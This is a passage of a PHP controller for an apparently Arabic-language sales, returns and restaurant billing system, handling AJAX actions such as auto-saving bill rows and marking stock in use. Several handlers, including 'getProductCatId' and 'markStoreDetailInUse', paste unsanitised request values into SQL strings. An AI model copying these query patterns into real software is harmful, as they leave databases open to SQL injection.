    echo $tempSaveBillId;
} elseif ($do == "changeproorder") {
    $orderold = (int) $_POST["orderid"];
    $tableId = (int) $_POST["tabid"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $restaurantOrderDetailsEX->changeorderid($order->id, $orderold);
    } else {
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        $restaurantOrderDetailsEX->changeorderid($orderId, $orderold);
    }
} elseif ($do == "checkForOldBill") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $userId = $_SESSION['userid'];

    if ($billnameId > 0) {
        $billsettingsData = loadBillProperty($billnameId);

        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
            $bill_is_txt = 'بيع و مردود';
            $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbillandrutern where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
            $tempSaveBillId = $sellbillid = (int) $result[0]->sellbillid;
            //
            $billData = $SellbillandruternEX->loadSellbillandruternById($sellbillid);
            $billDetailsDataSell = $mySellandruternbilldetailEx->queryWithSellBillIdAndSellType($sellbillid, 0);
            $billDetailsDataRet = $mySellandruternbilldetailEx->queryWithSellBillIdAndSellType($sellbillid, 1);
            $clientData = $myClientRecord->load($billData->sellbillclientid);
            $storeData = $myStoreRecord->load($billData->sellbillstoreid);
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
            $bill_is_txt = 'بيع ';
            $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbill where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
            $tempSaveBillId = $sellbillid = (int) $result[0]->sellbillid;
            $billData = $mySellbillRecord->load($sellbillid);
            $billDetailsDataSell = $mySellbilldetailEx->queryWithSellBillId($sellbillid);
            $i = 1;
            foreach ($billDetailsDataSell as $mydetales) {

                $parentId = $mydetales->sellbilldetailcatid;
                //names of product's parents
                $pathArr = getProductPath_recursive($parentId, $categories);

                //new product name with all path
                $mydetales->productName = $mydetales->productName . '/' . $pathArr;

                $myunitdata = $myProductunitEx->queryWithProductIdAndCondition($mydetales->sellbilldetailproductid);
                $smarty->assign("myunitdata" . $i, $myunitdata);
                // add sold quantity to available quantity of parcode
                $productNumber = (float) $mydetales->productnumber;
                $mydetales->don += $mydetales->sellbilldetailquantity * $productNumber;
                $i++;
            }
            $clientData = $myClientRecord->load($billData->sellbillclientid);

            $storeData = $myStoreRecord->load($billData->sellbillstoreid);
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
            $bill_is_txt = ' مردود';
            $result = $mySellbillEx->runSelectQuery("select returnsellbillid as sellbillid from returnsellbill where autoSaveFlag=1 and conditions=1 and returnsellbillclientid=$clientId and userid=$userId order by returnsellbillid desc limit 1");
            $tempSaveBillId = $returnsellbillid = (int) $result[0]->sellbillid;
            $billData = $myReturnsellbillRecord->load($returnsellbillid);
            //get  sell bill detales data
            $billDetailsDataRet = $myReturnsellbilldetailEx->queryWithReturnsellbillId($returnsellbillid);
            $i = 1;
            foreach ($billDetailsDataRet as $mydetales) {

                $parentId = $mydetales->returnsellbilldetailcatid;
                //names of product's parents
                $pathArr = getProductPath_recursive($parentId, $categories);

                //new product name with all path
                $mydetales->productName = $mydetales->productName . '/' . $pathArr;

                $myreunitdata = $myProductunitEx->queryWithProductIdAndCondition($mydetales->returnsellbilldetailproductid);
                //print_r($myreunitdata);
                //print_r("<br><br>");
                $smarty->assign("myreunitdata" . $i, $myreunitdata);
                $i++;
            }
            $clientData = $myClientRecord->load($billData->sellbillclientid);
            $storeData = $myStoreRecord->load($billData->returnsellbillstoreid);
        }
        $billData->sellbillclientname = $clientData->clientname;
        $billData->storeName = $storeData->storeName;
        $smarty->assign("bill_is", $bill_is);
        $smarty->assign("bill_is_txt", $bill_is_txt);
        $smarty->assign("billData", $billData);
        $smarty->assign("billDetailsDataSell", $billDetailsDataSell);
        $smarty->assign("billDetailsDataRet", $billDetailsDataRet);
        $smarty->assign("billsettingsData", $billsettingsData);
    }

    if ($tempSaveBillId > 0) {
        $smarty->display("sellbillview/showdetailLastAutoComplete.html");
    } else {
        echo -1;
    }
} elseif ($do == "autoSaveOldBillAction") {
    $oldBillType = filter_input(INPUT_POST, 'bill_is');
    $oldBillId = (int) filter_input(INPUT_POST, 'bill_is_id');
    $currentBillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $action = (int) filter_input(INPUT_POST, 'autoSaveOldBillAction');
    $billToUseId = 0;
    if (!empty($oldBillType) && $oldBillId > 0 && $currentBillId > 0 && $clientId > 0 && $action > 0) {
        $billtable = '';
        $billColumn = '';
        $clientColumn = '';
        $detailTable = '';
        $detailColumn = '';
        switch ($oldBillType) {
            case 'sellAndRet':
                $billtable = 'sellbillandrutern';
                $billColumn = 'sellbillid';
                $clientColumn = 'sellbillclientid';
                $detailTable = 'sellandruternbilldetail';
                $detailColumn = 'sellbillid';
                break;
            case 'sell':
                $billtable = 'sellbill';
                $billColumn = 'sellbillid';
                $clientColumn = 'sellbillclientid';
                $detailTable = 'sellbilldetail';
                $detailColumn = 'sellbillid';
                break;
            case 'ret':
                $billtable = 'returnsellbill';
                $billColumn = 'returnsellbillid';
                $clientColumn = 'returnsellbillclientid';
                $detailTable = 'returnsellbilldetail';
                $detailColumn = 'returnsellbillid';
                break;

            default:
                return;
                break;
        }
        switch ($action) {
            case 1: //del old bill,use current bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "DELETE FROM $detailTable WHERE $detailColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $currentBillId;
                break;
            case 2: //del current bill,use old bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "DELETE FROM $detailTable WHERE $detailColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $oldBillId;
                break;
            case 3: //use products of both bill
                $sql = "DELETE FROM $billtable WHERE $billColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $sql = "update $detailTable set $detailColumn = $currentBillId where $detailColumn = $oldBillId";
                $mySellbillEx->executeSQLQuery($sql);
                //
                $sql = "update $billtable set  $clientColumn = $clientId WHERE $billColumn = $currentBillId";
                $mySellbillEx->executeSQLQuery($sql);
                $billToUseId = $currentBillId;
                break;
        }
    }
    setcookie("clientId" . $_SESSION['userid'], $clientId, time() + 3600);
    echo $billToUseId;
} elseif ($do == "getProFirstUnitData") {
    $productId = $_POST['product'];
    $itr = $_POST['itr'];
    $sizeId = 0;
    $colorId = 0;
    //$sizeColorStoreDetailId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
        $colorId = $productIdComplex[2];
        //$sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
    }
    $productunitData = $myProductunitEx->getfirstunittWithProductNumberEQ1_2($productId);
    $data = array('productunitid' => $productunitData->productunitid, 'unitName' => $productunitData->unitName, 'itr' => $itr);
    echo json_encode($data);
} elseif ($do == "autoSaveBillDetails") { //price type change details
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = $sellbillId = $returnsellbillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $rowType = (int) filter_input(INPUT_POST, 'rowType'); //0 sell , 1 ret
    $distype = (int) filter_input(INPUT_POST, 'distype');
    $h = (int) filter_input(INPUT_POST, 'itr');
    $priceType = (int) filter_input(INPUT_POST, 'pricetype');
    $detailId = 0;
    if ($billnameId > 0 && $tempSaveBillId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ## 2 start saving
        switch ($bill_is) {
            case 'sellAndRet':
                if ($rowType == 0) {
                    $detailId = (int) $_POST['tempSaveBillIdRow' . $h . ''];
                    $parcode = $_POST['parcode' . $h . ''];
                    $parcodeType = $_POST['parcodeType' . $h . ''];
                    $productserailId = $_POST['productserailid' . $h . ''];
                    $productId = $_POST['product' . $h . ''];
                    $sizeId = 0;
                    $colorId = 0;
                    $sizeColorStoreDetailId = 0;
                    if (strpos($productId, "hasSizeColor") !== false) {
                        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                        $productId = $productIdComplex[0];
                        $sizeId = $productIdComplex[1];
                        $colorId = $productIdComplex[2];
                        $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                    }
                    $productunitId = $_POST['productunit' . $h . ''];
                    $quantity = $_POST['pronum' . $h . ''];
                    $price = $_POST['proprice' . $h . ''];
                    $discountValue = $_POST['prodis' . $h . ''];
                    $discounttype = $_POST['discounttype' . $h . ''];
                    $totalPrice = $_POST['hidden_prototal' . $h . ''];
                    $comment = $_POST['comment' . $h . ''];
                    $prstorid = $_POST['prstorid' . $h . ''];
                    $scunitname = $_POST['scunitname' . $h . ''];
                    $pricetypepro = $_POST['pricetypepro' . $h . ''];
                    $proSerials = $_POST['proSerials' . $h . ''];

                    if (isset($prstorid) && $prstorid != -1 && $prstorid != '') {

                        $sellbillstoreId = $prstorid;
                    } else {
                        $sellbillstoreId = $_POST['storeid'];
                        //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                    }

                    if ($productunitId == "") {
                        $productunitId = 0;
                    }
                } elseif ($rowType == 1) {
                    $detailId = (int) $_POST['tempSaveBillIdRowRet' . $h . ''];
                    $parcode = $_POST['returnparcode' . $h . ''];
                    $parcodeType = $_POST['returnparcodeType' . $h . ''];
                    $productserailId = $_POST['returnproductserailid' . $h . ''];
                    $productId = $_POST['returnproduct' . $h . ''];
                    $sizeId = 0;
                    $colorId = 0;
                    $sizeColorStoreDetailId = 0;
                    if (strpos($productId, "hasSizeColor") !== false) {
                        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                        $productId = $productIdComplex[0];
                        $sizeId = $productIdComplex[1];
                        $colorId = $productIdComplex[2];
                        $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                    }
                    $productunitId = $_POST['returnproductunit' . $h . ''];
                    $quantity = $_POST['returnpronum' . $h . ''];
                    $price = $_POST['returnproprice' . $h . ''];
                    $discountValue = $_POST['returnprodis' . $h . ''];
                    $totalPrice = $_POST['returnhidden_prototal' . $h . ''];
                    $comment = $_POST['returncomment' . $h . ''];
                    $returndiscounttype = $_POST['returndiscounttype' . $h . ''];
                    $reprstorid = $_POST['reprstorid' . $h . ''];
                    $scunitname = $_POST['returnscunitname' . $h . ''];
                    $retpricetypepro = $_POST['retpricetypepro' . $h . ''];
                    $proSerials = $_POST['proSerialsRet' . $h . ''];

                    if (isset($reprstorid) && $reprstorid != -1 && $reprstorid != '') {

                        $sellbillstoreId = $reprstorid;
                    } else {
                        $sellbillstoreId = $_POST['storeid'];
                        //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                    }
                    if ($productunitId == "") {
                        $productunitId = 0;
                    }
                }

                if (isset($productId) && $productId != '-1' && $productId != "") {

                    $productData = loadProductById2($productId);
                    //
                    $productnumber = (float) $_POST['proNum' . $h];
                    if ($productnumber <= 0) {
                        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                        $productnumber = $productunitData->productnumber;
                    }
                    $finalquantity = $quantity * $productnumber;
                    //

                    $mySellandruternbilldetail->discountvalue = $discountValue;
                    $mySellandruternbilldetail->note = $comment;
                    $mySellandruternbilldetail->parcode = $parcode;
                    $mySellandruternbilldetail->pricetype = $priceType;
                    $mySellandruternbilldetail->productunitid = $productunitId;
                    $mySellandruternbilldetail->sellbilldetailcatid = $productData->productCatId;
                    $mySellandruternbilldetail->sellbilldetaildate = date("Y-m-d H:i:s");
                    $mySellandruternbilldetail->sellbilldetailprice = $price;
                    $mySellandruternbilldetail->sellbilldetailproductid = $productId;
                    $mySellandruternbilldetail->sellbilldetailquantity = $quantity;
                    $mySellandruternbilldetail->sellbilldetailtotalprice = $totalPrice;
                    $mySellandruternbilldetail->sellbillid = $sellbillId;
                    $mySellandruternbilldetail->selltype = $rowType; //0; //مبيعات
                    $mySellandruternbilldetail->buydiscount = $productData->buydiscount;
                    $mySellandruternbilldetail->buydiscounttype = $productData->discounttype;
                    $mySellandruternbilldetail->storeid = $sellbillstoreId;
                    $mySellandruternbilldetail->discounttype = $discounttype;
                    $mySellandruternbilldetail->otherdetailquantity = $scunitname;
                    $mySellandruternbilldetail->sizeid = $sizeId;
                    $mySellandruternbilldetail->colorid = $colorId;
                    $mySellandruternbilldetail->pricetypepro = $pricetypepro;
                    $mySellandruternbilldetail->soldSerialsInDetails = $proSerials;

                    //  print_r($mySellandruternbilldetail);
                    if ($detailId > 0) {
                        $mySellandruternbilldetail->sellbilldetailid = $detailId;
                        $mySellandruternbilldetailRecord->update($mySellandruternbilldetail);
                    } else {
                        $detailId = $mySellandruternbilldetailRecord->insert($mySellandruternbilldetail);
                    }
                }
                break;
            case 'sell':
                $detailId = (int) $_POST['tempSaveBillIdRow' . $h . ''];
                $parcode = $_POST['parcode' . $h . ''];
                $parcodeType = $_POST['parcodeType' . $h . ''];
                $productserailId = $_POST['productserailid' . $h . ''];
                $productId = $_POST['product' . $h . ''];
                $sizeId = 0;
                $colorId = 0;
                $sizeColorStoreDetailId = 0;
                if (strpos($productId, "hasSizeColor") !== false) {
                    $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                    $productId = $productIdComplex[0];
                    $sizeId = $productIdComplex[1];
                    $colorId = $productIdComplex[2];
                    $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                }
                $productunitId = $_POST['productunit' . $h . ''];
                $quantity = $_POST['pronum' . $h . ''];
                $price = $_POST['proprice' . $h . ''];
                $discountValue = (float) $_POST['prodis' . $h . ''];
                $totalPrice = $_POST['hidden_prototal' . $h . ''];
                $comment = $_POST['comment' . $h . ''];
                $prstorid = $_POST['prstorid' . $h . ''];
                $discounttype = $_POST['discounttype' . $h . ''];
                $scunitname = $_POST['scunitname' . $h . ''];
                $pricetypepro = (int) $_POST['pricetypepro' . $h . ''];
                $playstationPlayId = (int) $_POST['playstationPlayId' . $h . ''];
                $proSerials = $_POST['proSerials' . $h . ''];

                if (isset($prstorid) && $prstorid != -1 && (int) $prstorid > 0) {

                    //print_r('in if prstorid'.$prstorid.'<br>');
                    $sellbillstoreId = $prstorid;
                } else {
                    $sellbillstoreId = $_POST['storeid'];
                    //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                }
                if ($productunitId == "") {
                    $productunitId = 0;
                }
                //print_r('the final'.$sellbillstoreId.'<br>');
                if (isset($productId) && $productId != '-1' && $productId != "") {
                    $productData = loadProductById2($productId);
                    //
                    $productnumber = (float) $_POST['proNum' . $h];
                    if ($productnumber <= 0) {
                        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                        //print_r($productunitData);
                        $productnumber = $productunitData->productnumber;
                    }
                    $finalquantity = $quantity * $productnumber;


                    $mySellbilldetail->discountvalue = $discountValue;
                    $mySellbilldetail->note = $comment;
                    if ($Programsettingdata->sendBillToRestaurant == 1) {
                        $mySellbilldetail->note = $_POST['hiddenNotes' . $h];
                    }
                    $mySellbilldetail->parcode = $parcode;
                    $mySellbilldetail->pricetype = $priceType;
                    $mySellbilldetail->productunitid = $productunitId;
                    $mySellbilldetail->sellbilldetailcatid = $productData->productCatId;
                    $mySellbilldetail->sellbilldetaildate = date("Y-m-d H:i:s");
                    $mySellbilldetail->sellbilldetailprice = $price;
                    $mySellbilldetail->sellbilldetailproductid = $productId;
                    $mySellbilldetail->sellbilldetailquantity = $quantity;
                    $mySellbilldetail->sellbilldetailtotalprice = $totalPrice;
                    $mySellbilldetail->sellbillid = $sellbillId;
                    $mySellbilldetail->buydiscount = $productData->buydiscount;
                    $mySellbilldetail->buydiscounttype = $productData->discounttype;
                    $mySellbilldetail->storeid = $sellbillstoreId;
                    $mySellbilldetail->discounttype = $discounttype;
                    $mySellbilldetail->otherdetailquantity = $scunitname;
                    $mySellbilldetail->sizeid = $sizeId;
                    $mySellbilldetail->colorid = $colorId;
                    $mySellbilldetail->pricetypepro = $pricetypepro;
                    $mySellbilldetail->playstationPlayId = $playstationPlayId;
                    $mySellbilldetail->soldSerialsInDetails = $proSerials;

                    if ($detailId > 0) {
                        $mySellbilldetail->sellbilldetailid = $detailId;
                        $mySellbilldetailRecord->update($mySellbilldetail);
                    } else {
                        $detailId = $mySellbilldetailRecord->insert($mySellbilldetail);
                    }
                }
                break;
            case 'ret':
                $detailId = (int) $_POST['tempSaveBillIdRowRet' . $h . ''];
                $parcode = $_POST['returnparcode' . $h . ''];
                $parcodeType = $_POST['returnparcodeType' . $h . ''];
                $productserailId = $_POST['returnproductserailid' . $h . ''];
                $productId = (int) $_POST['returnproduct' . $h . ''];
                $sizeId = 0;
                $colorId = 0;
                $sizeColorStoreDetailId = 0;
                if (strpos($productId, "hasSizeColor") !== false) {
                    $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
                    $productId = $productIdComplex[0];
                    $sizeId = $productIdComplex[1];
                    $colorId = $productIdComplex[2];
                    $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
                }
                $productunitId = (int) $_POST['returnproductunit' . $h . ''];
                $quantity = $_POST['returnpronum' . $h . ''];
                $price = $_POST['returnproprice' . $h . ''];
                $discountValue = $_POST['returnprodis' . $h . ''];
                $totalPrice = $_POST['returnhidden_prototal' . $h . ''];
                $comment = $_POST['returncomment' . $h . ''];
                $returndiscounttype = $_POST['returndiscounttype' . $h . ''];
                $scunitname = $_POST['returnscunitname' . $h . ''];
                $retpricetypepro = $_POST['retpricetypepro' . $h . ''];
                $proSerials = $_POST['proSerialsRet' . $h . ''];

                $reprstorid = $_POST['reprstorid' . $h . ''];
                if (isset($reprstorid) && $reprstorid != -1 && $reprstorid != '') {

                    $sellbillstoreId = $reprstorid;
                } else {
                    $sellbillstoreId = $_POST['storeid'];
                    //print_r('in  else sellbillstoreId'.$sellbillstoreId.'<br>');
                }

                if (empty($productunitId) || $productunitId == -1) {
                    //$productunitId = 0;
                    $productunitId = getfirstunittWithProductNumberEQ1($productId);
                }

                if (isset($productId) && $productId != '-1' && $productId != "") {
                    $productData = loadProductById2($productId);
                    //                            $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
                    $myReturnsellbilldetail->buyprice = $productData->productBuyPrice;
                    $myReturnsellbilldetail->conditions = 0;
                    $myReturnsellbilldetail->discountvalue = $discountValue;
                    $myReturnsellbilldetail->note = $comment;
                    $myReturnsellbilldetail->parcode = $parcode;
                    $myReturnsellbilldetail->pricetype = $priceType;
                    $myReturnsellbilldetail->productunitid = $productunitId;
                    $myReturnsellbilldetail->returnsellbilldetailcatid = $productData->productCatId;
                    $myReturnsellbilldetail->returnsellbilldetailprice = $price;
                    $myReturnsellbilldetail->returnsellbilldetailproductid = $productId;
                    $myReturnsellbilldetail->returnsellbilldetailquantity = $quantity;
                    $myReturnsellbilldetail->returnsellbilldetailtotalprice = $totalPrice;
                    $myReturnsellbilldetail->returnsellbillid = $returnsellbillId;
                    $myReturnsellbilldetail->buydiscount = $productData->buydiscount;
                    $myReturnsellbilldetail->buydiscounttype = $productData->discounttype;
                    $myReturnsellbilldetail->storeid = $sellbillstoreId;
                    $myReturnsellbilldetail->discounttype = $returndiscounttype;
                    $myReturnsellbilldetail->otherdetailquantity = $scunitname;
                    $myReturnsellbilldetail->sizeid = $sizeId;
                    $myReturnsellbilldetail->colorid = $colorId;
                    $myReturnsellbilldetail->pricetypepro = $retpricetypepro;
                    $myReturnsellbilldetail->soldSerialsInDetails = $proSerials;


                    if ($detailId > 0) {
                        $myReturnsellbilldetail->returnsellbilldetailid = $detailId;
                        $myReturnsellbilldetailRecord->update($myReturnsellbilldetail);
                    } else {
                        $detailId = $myReturnsellbilldetailRecord->insert($myReturnsellbilldetail);
                    }
                }
                break;
        }
    }
    echo $detailId;
} elseif ($do == "autoDelBillRow") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = $sellbillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $rowId = (int) filter_input(INPUT_POST, 'id');
    if ($billnameId > 0 && $tempSaveBillId > 0 && $rowId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ##2
        switch ($bill_is) {
            case 'sellAndRet':
                $mySellandruternbilldetailRecord->delete($rowId);
                break;
            case 'sell':
                $mySellbilldetailRecord->delete($rowId);
                break;
            case 'ret':
                $myReturnsellbilldetailRecord->delete($rowId);
                break;
        }
    }
    echo 1;
}
##
elseif ($do == "getTemplateProducts") {
    $billnameId = (int) filter_input(INPUT_POST, "billnameid");
    $templateId = (int) filter_input(INPUT_POST, "template");
    $parcodesStr = '';
    if ($billnameId > 0 && $templateId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        if ($billHasSell->billsettingsvalue == 0) { //has sellpart
            $billTemplateDetails = $billTemplateDetailEX->queryByBillTemplateIdEXAndType($templateId, 0);
            foreach ($billTemplateDetails as $value) {
                //                for ($i = 0; $i < $value->quantity; $i++) {
                //                    $parcodesStr .= "$value->parcode\n";
                //                }
                $parcodesStr .= "$value->parcode.$value->quantity\n";
            }
        }
        if ($billHasReturn->billsettingsvalue == 0) { //has ret part
            $billTemplateDetails = $billTemplateDetailEX->queryByBillTemplateIdEXAndType($templateId, 1);
            foreach ($billTemplateDetails as $value) {
                //                for ($i = 0; $i < $value->quantity; $i++) {
                //                    $parcodesStr .= "$value->parcode\n";
                //                }
                $parcodesStr .= "$value->parcode.$value->quantity\n";
            }
        }
    }
    echo $parcodesStr;
}
##
elseif ($do == "billprofit") {
    $id = (int) $_POST['id'];

    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    if ($Usergroupdata->netprofit == 0) {
        $bill = R::getRow("select sellbillaftertotalbill from sellbill where sellbillid = $id");
        $costs = R::getRow("select sum(buyprice*sellbilldetailquantity*productnumber) as buyprice
                ,sum(lastbuyprice*sellbilldetailquantity*productnumber) as lastbuyprice
                ,sum(meanbuyprice*sellbilldetailquantity*productnumber) as meanbuyprice
                ,sum(lastbuyprice_withDiscount*sellbilldetailquantity*productnumber) as lastbuyprice_withDiscount
                ,sum(meanbuyprice_withDiscount*sellbilldetailquantity*productnumber) as meanbuyprice_withDiscount
                ,sum(lastbuyprice_withTax*sellbilldetailquantity*productnumber) as lastbuyprice_withTax
                ,sum(meanbuyprice_withTax*sellbilldetailquantity*productnumber) as meanbuyprice_withTax
            from sellbilldetail
            join productunit on productunit.productunitid =sellbilldetail.productunitid
            where sellbillid = $id
            group by sellbillid");

        if ($_SESSION['userid'] == -1) {
            $data = $costs;
        } else {
            switch ($Programsettingdata->Profitevaluation) {
                case "first":
                    $data = array('buyprice' => $costs['buyprice']);
                    break;
                case "last":
                    $data = array('lastbuyprice' => $costs['lastbuyprice']);
                    break;
                case "mean":
                    $data = array('meanbuyprice' => $costs['meanbuyprice']);
                    break;
                case "last_discount":
                    $data = array('lastbuyprice_withDiscount' => $costs['lastbuyprice_withDiscount']);
                    break;
                case "mean_discount":
                    $data = array('meanbuyprice_withDiscount' => $costs['meanbuyprice_withDiscount']);
                    break;
                case "generalPrice":
                    $data = array('generalPrice' => $costs['generalPrice']);
                    break;
                case "tax":
                    $data = array('generalPrice' => $costs['lastbuyprice_withTax']);
                    break;
                case "mean_tax":
                    $data = array('generalPrice' => $costs['meanbuyprice_withTax']);
                    break;
            }
        }
        echo json_encode(array('u' => $_SESSION['userid'], 'totalbill' => $bill['sellbillaftertotalbill'], 'cost' => $data));
    } else {
        echo -1;
    }
} elseif ($do == "getProductCatId") {
    $productId = filter_input(INPUT_POST, 'productId');
    $catId = 0;
    $catId = R::getCell('select productCatId from product where productId = ' . $productId);

    echo $catId;
} elseif ($do == "checkStoreDetail") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    $inUse = 0;
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        if ($sizeId == 0 || $colorId == 0) {
            $inUse = R::getCell('select inUse from storedetail where productid = ' . $product_id . ' and storeid = ' . $store_id);
        } else {
            $inUse = R::getCell('select inUse from sizecolorstoredetail where productid = ' . $product_id . ' and storeid = ' . $store_id . ' and colorid = ' . $colorId . ' and sizeid = ' . $sizeId);
        }

        if ($inUse == 1)
            break;
    }
    echo $inUse;
} elseif ($do == "markStoreDetailInUse") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");
    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    $inUse = 0;
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        if ($sizeId == 0 && $colorId == 0) {
            $inUse = R::exec('update storedetail set inUse = 1 where productid = ' . $product_id . ' and storeid = ' . $store_id);
        } else {
            $inUse = R::exec('update storedetail set inUse = 1 where productid = ' . $product_id . ' and storeid = ' . $store_id . ' and colorid = ' . $colorId . ' and sizeid = ' . $sizeId);
        }
    }
}

//check and use the condetion that suite this action

/* ===============================
  function in this CONTROLLER
